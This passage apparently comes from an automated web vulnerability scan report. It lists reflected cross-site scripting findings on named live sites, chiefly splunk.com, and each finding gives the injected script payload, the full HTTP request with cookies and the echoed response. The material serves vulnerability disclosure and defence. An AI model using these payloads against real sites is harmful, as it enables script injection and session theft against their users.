GET /getthumbnail.ashx8fac7%253cscript%253ealert%25281%2529%253c%252fscript%253e7d5d02802ae?width=182&file=9781556428517.gif HTTP/1.1
Host: www.slackbooks.com
Proxy-Connection: keep-alive
Referer: http://www.slackbooks.com/essentialknee
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ASP.NET_SessionId=005mudrubsn3zlj31keaeuvq

Response

HTTP/1.1 404 Not Found
Date: Sat, 05 Feb 2011 22:36:28 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 12256

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">



<html xmlns="http://www.w3.org/
...[SNIP]...
<BR/>http://www.slackbooks.com/getthumbnail.ashx8fac7<script>alert(1)</script>7d5d02802ae?width=182&file=9781556428517.gif</span>
...[SNIP]...

4.362. http://www.spiele365.com/ [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.spiele365.com
Path:	/

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 24997"><script>alert(1)</script>8c1d99e1e7c was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /?24997"><script>alert(1)</script>8c1d99e1e7c=1 HTTP/1.1
Host: www.spiele365.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:14:28 GMT
Server: Apache/2.2.10 (Linux/SUSE)
X-Powered-By: PHP/5.2.11
Set-Cookie: PHPSESSID=ehsibgt6v78cfkjerdu0r5trp06gq2le; path=/; HttpOnly
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html
Content-Length: 24854

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content
...[SNIP]...
<input type="hidden" name="return" value="/?24997"><script>alert(1)</script>8c1d99e1e7c=1" />
...[SNIP]...

4.363. http://www.splunk.com/ [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/

Issue detail

The name of an arbitrarily supplied request parameter is copied into an HTML comment. The payload 8264f--><script>alert(1)</script>e135a08d7b0 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /?8264f--><script>alert(1)</script>e135a08d7b0=1 HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942538894423; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=fi3ckujbctl2f58e0314143p91; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:13:53 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: 0
Cache-Control: public, must-revalidate
Pragma: public
ETag: b89e9b9024c0d76093fbc788f12f35711296944034
Last-Modified: Sat, 05 Feb 2011 22:13:54 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 55941

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/d
...[SNIP]...
<script>alert(1)</script>e135a08d7b0=1 -->
...[SNIP]...

4.364. http://www.splunk.com/ [r parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/

Issue detail

The value of the r request parameter is copied into an HTML comment. The payload 11427--><script>alert(1)</script>361b64d9efa was submitted in the r parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /?r=header11427--><script>alert(1)</script>361b64d9efa HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942538894423; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=fi3ckujbctl2f58e0314143p91; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:13:49 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: 0
Cache-Control: public, must-revalidate
Pragma: public
ETag: 4255345ea8872fc035d4f1a1d367c5e61296944030
Last-Modified: Sat, 05 Feb 2011 22:13:50 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 56033

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/d
...[SNIP]...
<script>alert(1)</script>361b64d9efa -->
...[SNIP]...

4.365. http://www.splunk.com/base/ [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/base/

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 93bd9'-alert(1)-'5693c75ab64 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /base93bd9'-alert(1)-'5693c75ab64/ HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942538894423; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=fi3ckujbctl2f58e0314143p91; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:22:30 GMT
Server: Apache/2.2.8 (EL)
Vary: Accept-Encoding,Cookie,User-Agent
X-Powered-By: PHP/5.2.6
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Set-Cookie: base_session=+; expires=Sat, 05-Feb-2011 22:22:31 GMT; path=/
Set-Cookie: baseUserID=+; expires=Sat, 05-Feb-2011 22:22:31 GMT; path=/
Set-Cookie: baseUserName=+; expires=Sat, 05-Feb-2011 22:22:31 GMT; path=/
Content-language: en
X-Vary-Options: Accept-Encoding;list-contains=gzip,Cookie;string-contains=baseToken;string-contains=baseLoggedOut;string-contains=base_session
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 11688


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://ww
...[SNIP]...
geVersion( ) {
           var versionIndex = document.getElementById('docsVersionSelect').selectedIndex;
           var version = document.getElementById('docsVersionSelect')[versionIndex].value;
           var title = 'base93bd9'-alert(1)-'5693c75ab64/';
           sajax_do_call( 'efSplunkAjaxChangeVersion', [version,title], AjaxChangeVersion_callback );
           //window.location.href = "/base93bd9'-alert(1)-'5693c75ab64/";
       }

       </script>
...[SNIP]...

4.366. http://www.splunk.com/base/ [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/base/

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b19b8"><script>alert(1)</script>4678698329e was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /baseb19b8"><script>alert(1)</script>4678698329e/ HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942538894423; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=fi3ckujbctl2f58e0314143p91; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:22:15 GMT
Server: Apache/2.2.8 (EL)
Vary: Accept-Encoding,Cookie,User-Agent
X-Powered-By: PHP/5.2.6
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Set-Cookie: base_session=+; expires=Sat, 05-Feb-2011 22:22:16 GMT; path=/
Set-Cookie: baseUserID=+; expires=Sat, 05-Feb-2011 22:22:16 GMT; path=/
Set-Cookie: baseUserName=+; expires=Sat, 05-Feb-2011 22:22:16 GMT; path=/
Content-language: en
X-Vary-Options: Accept-Encoding;list-contains=gzip,Cookie;string-contains=baseToken;string-contains=baseLoggedOut;string-contains=base_session
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 11843


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://ww
...[SNIP]...
<a href="http://www.splunk.com/index.php?module=roles&func=showloginform&redirecturl=http://www.splunk.com/baseb19b8"><script>alert(1)</script>4678698329e/">
...[SNIP]...

4.367. http://www.splunk.com/base/ [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/base/

Issue detail

The value of REST URL parameter 1 is copied into an HTML comment. The payload b1745--><script>alert(1)</script>cb09324f9b0 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /b1745--><script>alert(1)</script>cb09324f9b0/ HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942538894423; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=fi3ckujbctl2f58e0314143p91; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 404 Not Found
Date: Sat, 05 Feb 2011 22:22:35 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: splunk_com_uid=1; expires=Sat, 05-Feb-2011 22:52:35 GMT; path=/
Set-Cookie: splunk_com_xt_uid=1; expires=Sat, 05-Feb-2011 22:52:35 GMT; path=/
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 18275

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>cb09324f9b0/ -->
...[SNIP]...

4.368. http://www.splunk.com/base/ [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/base/

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload f613d'-alert(1)-'b85c464f7a2 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Remediation detail

Request

GET /base/?f613d'-alert(1)-'b85c464f7a2=1 HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942538894423; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=fi3ckujbctl2f58e0314143p91; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response (redirected)

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:21:56 GMT
Server: Apache/2.2.8 (EL)
Vary: Accept-Encoding,Cookie,User-Agent
X-Powered-By: PHP/5.2.6
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Cache-Control: private, must-revalidate, max-age=0
Pragma: no-cache
Set-Cookie: base_session=+; expires=Sat, 05-Feb-2011 22:21:57 GMT; path=/
Set-Cookie: baseUserID=+; expires=Sat, 05-Feb-2011 22:21:57 GMT; path=/
Set-Cookie: baseUserName=+; expires=Sat, 05-Feb-2011 22:21:57 GMT; path=/
Content-language: en
X-Vary-Options: Accept-Encoding;list-contains=gzip,Cookie;string-contains=baseToken;string-contains=baseLoggedOut;string-contains=base_session
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 24300


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://ww
...[SNIP]...

           var versionIndex = document.getElementById('docsVersionSelect').selectedIndex;
           var version = document.getElementById('docsVersionSelect')[versionIndex].value;
           var title = 'base/Documentation?f613d'-alert(1)-'b85c464f7a2=1';
           sajax_do_call( 'efSplunkAjaxChangeVersion', [version,title], AjaxChangeVersion_callback );
           //window.location.href = "/base/Documentation?f613d'-alert(1)-'b85c464f7a2=1";
       }

       </script>
...[SNIP]...

4.369. http://www.splunk.com/base/Documentation [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/base/Documentation

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 30614'-alert(1)-'db61a98f369 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /base30614'-alert(1)-'db61a98f369/Documentation HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; __utmz=204527314.1296947359.3.3.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/35; XARAYASID=f9dtn7oaue1nupeh7s4dpfokt0; splunk_com_uid=1; Apache=173.193.214.243.1296947376244858; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; splunk_com_xt_uid=1; PHPSESSID=afumuefdbn5a7tsaitu6o38uq5; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942985.1296947359.3; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:15:29 GMT
Server: Apache/2.2.8 (EL)
Vary: Accept-Encoding,Cookie,User-Agent
X-Powered-By: PHP/5.2.6
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Set-Cookie: base_session=+; expires=Sun, 06-Feb-2011 16:15:30 GMT; path=/
Set-Cookie: baseUserID=+; expires=Sun, 06-Feb-2011 16:15:30 GMT; path=/
Set-Cookie: baseUserName=+; expires=Sun, 06-Feb-2011 16:15:30 GMT; path=/
Content-language: en
X-Vary-Options: Accept-Encoding;list-contains=gzip,Cookie;string-contains=baseToken;string-contains=baseLoggedOut;string-contains=base_session
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 15184


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://ww
...[SNIP]...
geVersion( ) {
           var versionIndex = document.getElementById('docsVersionSelect').selectedIndex;
           var version = document.getElementById('docsVersionSelect')[versionIndex].value;
           var title = 'base30614'-alert(1)-'db61a98f369/Documentation';
           sajax_do_call( 'efSplunkAjaxChangeVersion', [version,title], AjaxChangeVersion_callback );
           //window.location.href = "/base30614'-alert(1)-'db61a98f369/Documentation";
       }

       </
...[SNIP]...

4.370. http://www.splunk.com/base/Documentation [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/base/Documentation

Issue detail

The value of REST URL parameter 1 is copied into an HTML comment. The payload c69a9--><script>alert(1)</script>dfef5875393 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /c69a9--><script>alert(1)</script>dfef5875393/Documentation HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; __utmz=204527314.1296947359.3.3.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/35; XARAYASID=f9dtn7oaue1nupeh7s4dpfokt0; splunk_com_uid=1; Apache=173.193.214.243.1296947376244858; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; splunk_com_xt_uid=1; PHPSESSID=afumuefdbn5a7tsaitu6o38uq5; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942985.1296947359.3; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 404 Not Found
Date: Sun, 06 Feb 2011 16:15:36 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: 0
Cache-Control: public, must-revalidate
Pragma: public
ETag: d74ef12050057023258dc4316660863a1297008936
Last-Modified: Sun, 06 Feb 2011 16:15:36 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 18327

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>dfef5875393/Documentation -->
...[SNIP]...

4.371. http://www.splunk.com/base/Documentation [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/base/Documentation

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3eab6"><script>alert(1)</script>2a194ea043b was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /base3eab6"><script>alert(1)</script>2a194ea043b/Documentation HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
